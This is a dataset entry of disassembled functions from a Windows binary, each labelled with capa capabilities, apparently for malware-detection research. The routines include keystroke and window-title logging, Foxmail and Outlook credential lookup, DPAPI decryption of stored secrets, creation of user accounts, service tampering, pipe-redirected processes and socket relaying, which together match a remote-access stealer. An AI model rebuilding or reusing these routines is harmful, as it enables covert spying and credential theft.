joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407966
Capabilities:
Get graphical window text
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
push 0x208
xor ebx, ebx
mov dword [ebp - 0xc], ecx
lea eax, [ebp - 0x214]
push ebx
push eax
call fcn.00401052
add esp, 0xc
mov dword [ebp - 4], ebx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x104
lea ecx, [ebp - 0x214]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
jle 0x4079ed
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 8]
call fcn.004033ab
push 0x4127c8
lea ecx, [ebp - 4]
mov esi, eax
call fcn.00403230
mov edi, eax
push esi
mov ecx, edi
call fcn.004030fb
push 0x4127cc
mov ecx, edi
call fcn.00403230
mov ecx, dword [ebp - 8]
call fcn.004058fb
mov dword [ebp - 8], ebx
jmp 0x4079fa
push 0x4127d0
lea ecx, [ebp - 4]
call fcn.004030c5
mov eax, dword [0x4166ac]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 0x210
push eax
call edi
test eax, eax
mov eax, dword [0x4166ac]
je 0x407a4f
add eax, 0x210
lea ecx, [ebp - 8]
push eax
call fcn.004033ab
push eax
lea ecx, [ebp - 4]
call fcn.0040300e
mov ecx, dword [ebp - 8]
mov esi, eax
call fcn.004058fb
mov eax, dword [0x4166ac]
mov dword [ebp - 8], ebx
test esi, esi
je 0x407a4f
mov dword [eax + 0xa10], 1
jmp 0x407a69
push dword [ebp - 4]
add eax, 0x210
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [0x4166ac]
mov dword [eax + 0xa10], ebx
push ebx
push 0x80
push 4
push ebx
push 1
push 4
push dword [eax + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [0x4166ac]
cmp dword [ecx + 0xa10], ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ecx + 4], eax
jne 0x407af9
push 0
lea eax, [ecx + 8]
mov esi, 0x4127c0
push eax
push esi
call edi
push eax
mov eax, dword [0x4166ac]
push esi
push dword [eax + 4]
call ebx
mov eax, dword [0x4166ac]
lea ecx, [ebp - 4]
mov esi, dword [ebp - 4]
add eax, 8
push 0
push eax
call fcn.00403027
add eax, eax
push eax
mov eax, dword [0x4166ac]
push esi
push dword [eax + 4]
call ebx
mov eax, dword [0x4166ac]
mov esi, 0x4127c0
push 0
add eax, 8
push eax
push esi
call edi
push eax
mov eax, dword [0x4166ac]
push esi
push dword [eax + 4]
call ebx
mov ecx, dword [0x4166ac]
mov esi, dword [ebp - 0xc]
lea eax, [ecx + 8]
push 0
push eax
push esi
call edi
add eax, eax
push eax
mov eax, dword [0x4166ac]
push esi
push dword [eax + 4]
call ebx
mov eax, dword [0x4166ac]
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
call fcn.004058fb
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407ec8
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
lea eax, [ebp - 0x104]
push ebx
push esi
push edi
push 0x100
push 0
push eax
mov bl, cl
call fcn.00401052
add esp, 0xc
movzx esi, bl
push 0
push esi
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov edi, eax
cmp esi, 0x5c
ja 0x407f37
cmp esi, 0x5b
jae 0x407f7c
cmp esi, 0x14
ja 0x407f26
je 0x407f7c
cmp esi, 8
jb 0x407f82
cmp esi, 9
jbe 0x407f7c
cmp esi, 0xd
je 0x407f7c
cmp esi, 0xf
jbe 0x407f82
cmp esi, 0x12
jbe 0x407f7c
jmp 0x407f82
cmp esi, 0x20
jb 0x407f82
cmp esi, 0x28
jbe 0x407f7c
cmp esi, 0x2e
je 0x407f7c
jmp 0x407f82
cmp esi, 0xb3
ja 0x407f61
cmp esi, 0xb2
jae 0x407f7c
cmp esi, 0x60
jb 0x407f82
cmp esi, 0x69
jbe 0x407f7c
cmp esi, 0xac
jbe 0x407f82
cmp esi, 0xaf
jmp 0x407f22
cmp esi, 0xba
jb 0x407f82
cmp esi, 0xc0
jbe 0x407f7c
lea eax, [esi - 0xdb]
cmp eax, 3
ja 0x407f82
or edi, 0x100
push esi
call dword [sym.imp.USER32.dll_GetKeyState]
push 0
push 1
mov byte [ebp - 1], al
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 1]
push eax
push edi
push esi
call dword [sym.imp.USER32.dll_ToUnicode]
pop edi
pop esi
lea eax, [ebp - 0x104]
pop ebx
leave
ret

Function at 0x407fae
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
xor eax, eax
push ebx
push esi
push edi
mov ebx, ecx
movzx esi, dl
mov edi, ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
cmp esi, 0x5c
ja 0x408056
cmp esi, 0x5b
jae 0x4080a5
cmp esi, 0x14
ja 0x408045
je 0x4080a5
cmp esi, 8
jb 0x408009
cmp esi, 9
jbe 0x4080a5
cmp esi, 0xd
je 0x4080a5
cmp esi, 0xf
jbe 0x408009
cmp esi, 0x12
jbe 0x4080a5
push 0x100
xor edi, edi
lea eax, [ebp - 0x100]
push edi
push eax
call fcn.00401052
add esp, 0xc
push edi
push esi
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push edi
push 1
lea ecx, [ebx + 8]
push ecx
lea ecx, [ebp - 0x100]
push ecx
push eax
push esi
call dword [sym.imp.USER32.dll_ToUnicode]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
cmp esi, 0x20
jb 0x408009
cmp esi, 0x28
jbe 0x4080a5
cmp esi, 0x2e
je 0x4080a5
jmp 0x408009
cmp esi, 0xb3
ja 0x408080
cmp esi, 0xb2
jae 0x4080a5
cmp esi, 0x60
jb 0x408009
cmp esi, 0x69
jbe 0x4080a5
cmp esi, 0xac
jbe 0x408009
cmp esi, 0xaf
jmp 0x408003
cmp esi, 0xba
jb 0x408009
cmp esi, 0xc0
jbe 0x4080a5
cmp esi, 0xda
jbe 0x408009
cmp dl, 0xde
ja 0x408009
mov dword [ebx + 4], esi
jmp 0x40803e
Function at 0x4088bb
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
push str.softwareAerofoxFoxmailPreview
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x408912
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x104
push eax
mov edi, 0x4167b8
push edi
push 0
push 0
push str.Executable
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x408912
push edi
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
mov al, 1
jmp 0x408914
xor al, al
pop edi
leave
ret

Function at 0x408917
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x460
lea eax, [ebp - 0x354]
push ebx
push esi
push edi
push 0
push eax
push 0x104
push 0x4166b0
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov esi, dword [sym.imp.SHLWAPI.dll_PathCombineA]
lea eax, [ebp - 0x354]
push 0x413500
push eax
lea eax, [ebp - 0x45c]
push eax
call esi
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x45c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4089cf
mov ecx, dword [ebp - 0x24c]
or ecx, 0x10
cmp ecx, 0x10
jne 0x4089bd
cmp byte [ebp - 0x220], 0x2e
je 0x4089bd
lea eax, [ebp - 0x220]
push eax
push 0x4166b0
lea eax, [ebp - 0x10c]
push eax
call esi
push str.AccountsAccount.rec0
lea eax, [ebp - 0x10c]
push eax
push eax
call esi
lea eax, [ebp - 0x10c]
mov ecx, ebx
push eax
call fcn.00408606
lea eax, [ebp - 0x24c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x408974
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 4
Function at 0x408bf6
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3014
call fcn.00401130
push ebx
push esi
push edi
mov esi, 0x800
mov dword [ebp - 0x10], ecx
push esi
xor ebx, ebx
lea eax, [ebp - 0x1010]
push ebx
push eax
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x2010]
push esi
push ebx
push eax
call fcn.00401052
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 4]
add esp, 0xc
mov esi, 0xf003f
push eax
push esi
push ebx
push 0x413048
push 0x80000001
call edi
test eax, eax
jne 0x408c5a
push str.SoftwareMicrosoftOffice15.0OutlookProfilesOutlook9375CFF0413111d3B88A00104B2A6676
jmp 0x408cb0
lea eax, [ebp - 4]
push eax
push esi
push ebx
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows_Messaging_SubsystemProfilesOutlook9375CFF0413111d3B88A00104B2A6676
push 0x80000001
call edi
test eax, eax
jne 0x408c77
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows_Messaging_SubsystemProfilesOutlook9375CFF0413111d3B88A00104B2A6676
jmp 0x408cb0
lea eax, [ebp - 4]
push eax
push esi
push ebx
push str.SoftwareMicrosoftWindows_Messaging_SubsystemProfiles9375CFF0413111d3B88A00104B2A6676
push 0x80000001
call edi
test eax, eax
jne 0x408c94
push str.SoftwareMicrosoftWindows_Messaging_SubsystemProfiles9375CFF0413111d3B88A00104B2A6676
jmp 0x408cb0
lea eax, [ebp - 4]
push eax
push esi
push ebx
mov esi, str.SoftwareMicrosoftOffice16.0OutlookProfilesOutlook9375CFF0413111d3B88A00104B2A6676
push esi
push 0x80000001
call edi
test eax, eax
jne 0x408db1
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x1010]
push eax
call esi
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x408db1
cmp dword [ebp - 0xc], ebx
jbe 0x408dac
xor eax, eax
mov dword [ebp - 8], 0x800
push eax
push eax
push eax
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x3010]
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x408db1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x1010]
push eax
lea eax, [ebp - 0x2010]
push eax
call esi
push 0x412464
lea eax, [ebp - 0x2010]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x3010]
push eax
lea eax, [ebp - 0x2010]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x2010]
push eax
push 0x80000001
call edi
test eax, eax
jne 0x408db1
push ecx
push dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
call fcn.00408db8
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x1010]
push eax
push 0x80000001
call edi
test eax, eax
jne 0x408db1
inc ebx
cmp ebx, dword [ebp - 0xc]
jb 0x408cea
xor eax, eax
inc eax
jmp 0x408db3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409150
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2014
call fcn.00401130
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, edx
mov dword [ebp - 4], ecx
lea eax, [edi - 1]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov edx, eax
inc esi
cmp edi, esi
jle 0x40918c
mov ecx, dword [ebp - 4]
mov al, byte [esi + ecx]
mov byte [edx + esi - 1], al
inc esi
cmp esi, edi
jl 0x409180
lea eax, [edi - 1]
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], eax
xor esi, esi
lea eax, [ebp - 0x14]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x4091d5
test edi, edi
jle 0x4091cc
mov edx, dword [ebp - 0x10]
lea ecx, [ebp - 0x2014]
movzx eax, byte [edx + esi]
add esi, 2
mov word [ecx], ax
lea ecx, [ecx + 2]
cmp esi, edi
jl 0x4091bb
lea eax, [ebp - 0x2014]
push eax
jmp 0x4091da
push str.Could_not_decrypt
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409c70
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1fbc
call fcn.00401130
push ebx
push esi
push edi
push dword [ebp + 8]
mov ebx, 0x1fa0
mov edi, ecx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
mov esi, eax
xor ebx, ebx
lea eax, [ebp - 0x1fbc]
push ebx
push eax
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 4]
push ebx
push ebx
push eax
lea eax, [ebp - 0x1fbc]
push eax
push 1
push esi
push dword [ebp + 8]
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
lea eax, [ebp - 0x1fbc]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0xc], ebx
push eax
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], ebx
call dword [edi + 0x68]
mov ecx, dword [ebp - 8]
add esp, 0xc
mov eax, dword [ebp - 0xc]
mov byte [ecx + eax], bl
mov ecx, dword [ebp - 8]
lea ecx, [ecx + 1]
call fcn.0040590a
mov ecx, dword [ebp + 0xc]
push dword [ebp - 0xc]
push eax
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x40abe2
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
mov eax, 0x104
xor ebx, ebx
push eax
mov dword [ebp - 8], eax
inc ebx
lea eax, [ebp - 0x214]
mov dword [ebp - 0xc], ebx
push 0
push eax
mov edi, edx
mov esi, ecx
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x214]
push str.SoftwareMicrosoftWindowsCurrentVersionApp_Paths_
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 4]
push eax
push ebx
push 0
lea eax, [ebp - 0x214]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40ac75
lea eax, [ebp - 8]
push eax
push edi
lea ecx, [ebp - 0xc]
push ecx
push 0
push str.Path
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
jmp 0x40ac77
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b3f2
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 8], 0
push ebx
push esi
mov ebx, edx
mov dword [ebp - 4], ecx
je 0x40b428
mov esi, dword [ebp + 8]
push 0
mov eax, ebx
sub eax, esi
add eax, dword [ebp + 8]
push esi
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x40b428
mov ecx, dword [ebp - 4]
sub esi, eax
jne 0x40b406
mov al, 1
jmp 0x40b42a
xor al, al
pop esi
pop ebx
leave
ret

Function at 0x40b55d
Capabilities:
Add user account
Add user account to group

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
push 8
pop ecx
lea edi, [ebp - 0x20]
xor ebx, ebx
rep stosd dword es:[edi], eax
mov eax, dword [esi]
xor edi, edi
mov dword [ebp - 0x20], eax
inc ebx
mov eax, dword [ebp + 0xc]
push edi
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], edi
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x20]
push eax
push ebx
push edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], 0x10201
mov dword [ebp - 4], edi
call dword [sym.imp.NETAPI32.dll_NetUserAdd]
test eax, eax
jne 0x40b5d8
mov eax, dword [esi]
lea ecx, [ebp + 0xc]
mov dword [ebp + 8], eax
call fcn.0040d2c9
push ebx
lea ecx, [ebp + 8]
push ecx
push 3
push dword [eax]
push edi
call dword [sym.imp.NETAPI32.dll_NetLocalGroupAddMembers]
mov ecx, dword [ebp + 0xc]
mov esi, eax
call fcn.004058fb
test esi, esi
jne 0x40b5d8
mov eax, ebx
jmp 0x40b5da
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x40b5e1
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push 1
push str.ServicesActive
xor edi, edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
je 0x40b647
mov eax, dword [ebp + 8]
push ebx
push 2
push dword [eax]
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, eax
test ebx, ebx
jne 0x40b61c
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x40b646
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push 0xffffffffffffffff
push dword [ebp + 0xc]
push 0xffffffffffffffff
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test eax, eax
je 0x40b638
xor edi, edi
inc edi
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
mov eax, edi
pop ebx
pop edi
pop esi
pop ebp
ret 8
Function at 0x40b64d
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push 1
push str.ServicesActive
xor edi, edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
je 0x40b6cc
mov eax, dword [ebp + 8]
push ebx
push 0x10
push dword [eax]
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, eax
test ebx, ebx
jne 0x40b688
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x40b6cb
push edi
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x40b6ba
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x40b6bd
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
je 0x40b6bd
xor edi, edi
inc edi
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
mov eax, edi
pop ebx
pop edi
pop esi
pop ebp
ret 4
Function at 0x40bba0
Capabilities:
Enumerate services

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
xor eax, eax
mov esi, ecx
push 5
push str.ServicesActive
push eax
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
test ebx, ebx
je 0x40bc81
lea eax, [esi + 0x28]
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x1c], eax
xor ecx, ecx
lea eax, [ebp - 0xc]
push ecx
push eax
lea eax, [ebp - 4]
mov dword [ebp - 0xc], ecx
push eax
lea eax, [ebp - 0x10]
push eax
push ecx
push ecx
push 3
push 0x30
push ecx
push ebx
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusExW]
mov esi, dword [ebp - 0x10]
mov ecx, esi
call fcn.00405955
push 0
mov edi, eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push eax
push esi
push edi
push 3
push 0x30
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusExW]
test eax, eax
jne 0x40bc3e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x40bc81
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor esi, esi
cmp dword [ebp - 4], esi
jbe 0x40bc81
mov ebx, edi
cmp dword [ebx], 0
je 0x40bc81
push dword [ebx]
lea ecx, [ebp - 8]
call fcn.004033ab
push dword [ebp - 0x1c]
lea ecx, [ebp - 8]
call fcn.0040300e
test eax, eax
jne 0x40bc95
mov ecx, dword [ebp - 8]
call fcn.004058fb
and dword [ebp - 8], 0
add ebx, 0x2c
inc esi
cmp esi, dword [ebp - 4]
jb 0x40bc4e
and dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x14]
call fcn.004058fb
mov eax, dword [ebp - 0x24]
pop edi
pop esi
pop ebx
leave
ret
imul esi, esi, 0x2c
lea ecx, [ebp - 0x18]
push dword [esi + edi]
call fcn.004033ab
push eax
lea ecx, [ebp - 0x14]
call fcn.004031fd
mov ecx, dword [ebp - 0x18]
call fcn.004058fb
mov ebx, dword [ebp - 0x28]
mov eax, dword [esi + edi + 0x24]
mov ecx, dword [ebp - 8]
and dword [ebp - 0x18], 0
mov dword [ebx + 0x2c], eax
call fcn.004058fb
and dword [ebp - 8], 0
cmp dword [ebx + 0x2c], 0
jne 0x40bd15
xor ebx, ebx
inc ebx
cmp dword [ebp - 0x20], ebx
je 0x40bc81
mov esi, dword [ebp - 0x1c]
push 2
push esi
call fcn.0040b5e1
push esi
call fcn.0040b64d
push edi
mov dword [ebp - 0x20], ebx
call fcn.004010c1
pop ecx
push 5
push str.ServicesActive
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
test ebx, ebx
jne 0x40bbe4
jmp 0x40bc81
mov ecx, dword [ebp - 4]
xor esi, esi
test ecx, ecx
je 0x40bc85
cmp dword [edi], 0
je 0x40bc85
mov eax, dword [edi + 0x24]
cmp eax, dword [ebx + 0x2c]
jne 0x40bd6e
push dword [edi]
lea ecx, [ebp - 8]
call fcn.004033ab
push dword [ebp - 0x14]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x40bd5f
push ecx
mov ecx, esp
push dword [edi]
call fcn.004033ab
lea ecx, [ebx + 0x40]
call fcn.00402100
mov ecx, dword [ebp - 8]
call fcn.004058fb
and dword [ebp - 8], 0
mov ecx, dword [ebp - 4]
inc esi
add edi, 0x2c
cmp esi, ecx
jb 0x40bd22
jmp 0x40bc85
Function at 0x40c88e
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x44
xor esi, esi
lea eax, [ebp - 0x54]
push esi
push eax
call fcn.00401052
mov eax, dword [ebp + 0xc]
add esp, 0xc
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x14], eax
xor eax, eax
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
mov dword [ebp - 0x54], 0x44
push eax
push esi
push esi
push 0x10
push 1
push esi
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0x28], 0x101
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40c8f3
mov eax, dword [ebp - 0x10]
inc esi
mov dword [0x41657c], eax
mov ecx, dword [ebp + 8]
call fcn.004058fb
mov eax, esi
pop esi
leave
ret 0x10

Function at 0x40ca7e
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
push edi
lea edi, [esi + 0x14]
cmp dword [edi], 0
je 0x40cac9
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp eax, dword [esi + 0x18]
je 0x40cac2
cmp dword [esi + 0x10], 0
je 0x40caed
push dword [esi + 0x10]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x1388
push dword [edi]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x40cac2
push 0xfffffffffffffffe
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, edi
call fcn.0040cc81
lea ecx, [esi + 0x10]
call fcn.0040cc81
lea ecx, [esi + 4]
call fcn.0040cc81
lea ecx, [esi + 0xc]
call fcn.0040cc81
lea ecx, [esi + 8]
call fcn.0040cc81
and dword [esi + 0x18], 0
pop edi
pop esi
ret
Function at 0x40caf0
Capabilities:
Create pipe
Create thread
Create two anonymous pipes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov ecx, 0x416578
call fcn.0040ca7e
and dword [ebp - 8], 0
lea eax, [ebp - 0x20]
and dword [ebp - 0xc], 0
xor esi, esi
and dword [ebp - 4], 0
inc esi
and dword [ebp - 0x10], 0
and dword [ebp - 0x14], 0
and dword [ebp - 0x1c], 0
push 0
push eax
lea eax, [ebp - 4]
mov dword [ebp - 0x20], 0xc
push eax
lea eax, [ebp - 8]
mov dword [ebp - 0x18], esi
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x40cc3c
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea eax, [ebp - 0xc]
push 2
push esi
push 0
push eax
call edi
push eax
push dword [ebp - 4]
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push eax
call ebx
test eax, eax
je 0x40cc3c
push 0
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x40cc3c
push 2
push 0
push 0
push 0x416580
call edi
push eax
push dword [ebp - 8]
call edi
push eax
call ebx
test eax, eax
je 0x40cc3c
push 2
push 0
push 0
push 0x416584
call edi
push eax
push dword [ebp - 0x10]
call edi
push eax
call ebx
test eax, eax
je 0x40cc3c
lea ecx, [ebp - 8]
call fcn.0040cc81
lea ecx, [ebp - 0x10]
call fcn.0040cc81
push dword [ebp - 0xc]
lea eax, [ebp + 8]
push dword [ebp - 0x14]
push dword [ebp - 4]
push ecx
mov ecx, esp
push eax
call fcn.004033f3
call fcn.0040c88e
test eax, eax
je 0x40cc3c
lea ecx, [ebp - 4]
call fcn.0040cc81
lea ecx, [ebp - 0x14]
call fcn.0040cc81
lea ecx, [ebp - 0xc]
call fcn.0040cc81
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0x416590
push 0
push 0x416578
push 0x40c927
push 0
push 0
mov dword [0x416588], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x41658c], eax
test eax, eax
jne 0x40cc70
lea ecx, [ebp - 8]
call fcn.0040cc81
lea ecx, [ebp - 4]
call fcn.0040cc81
lea ecx, [ebp - 0xc]
call fcn.0040cc81
lea ecx, [ebp - 0x10]
call fcn.0040cc81
lea ecx, [ebp - 0x14]
call fcn.0040cc81
mov ecx, 0x416578
call fcn.0040ca7e
xor esi, esi
mov ecx, dword [ebp + 8]
call fcn.004058fb
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 4

Function at 0x40d07e
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push esi
push edi
push eax
mov esi, ecx
mov edi, edx
push 0x4004667f
push esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, 0xffffffff
je 0x40d0f2
cmp dword [ebp - 4], 0
je 0x40d0f8
push ebx
mov ebx, 0x800
lea eax, [ebp - 0x804]
push ebx
push 0
push eax
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x804]
push 0
push ebx
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 4], eax
pop ebx
test eax, eax
je 0x40d0f2
push 0
push eax
lea eax, [ebp - 0x804]
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x40d100
xor eax, eax
pop edi
pop esi
leave
ret
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
inc eax
jmp 0x40d0f4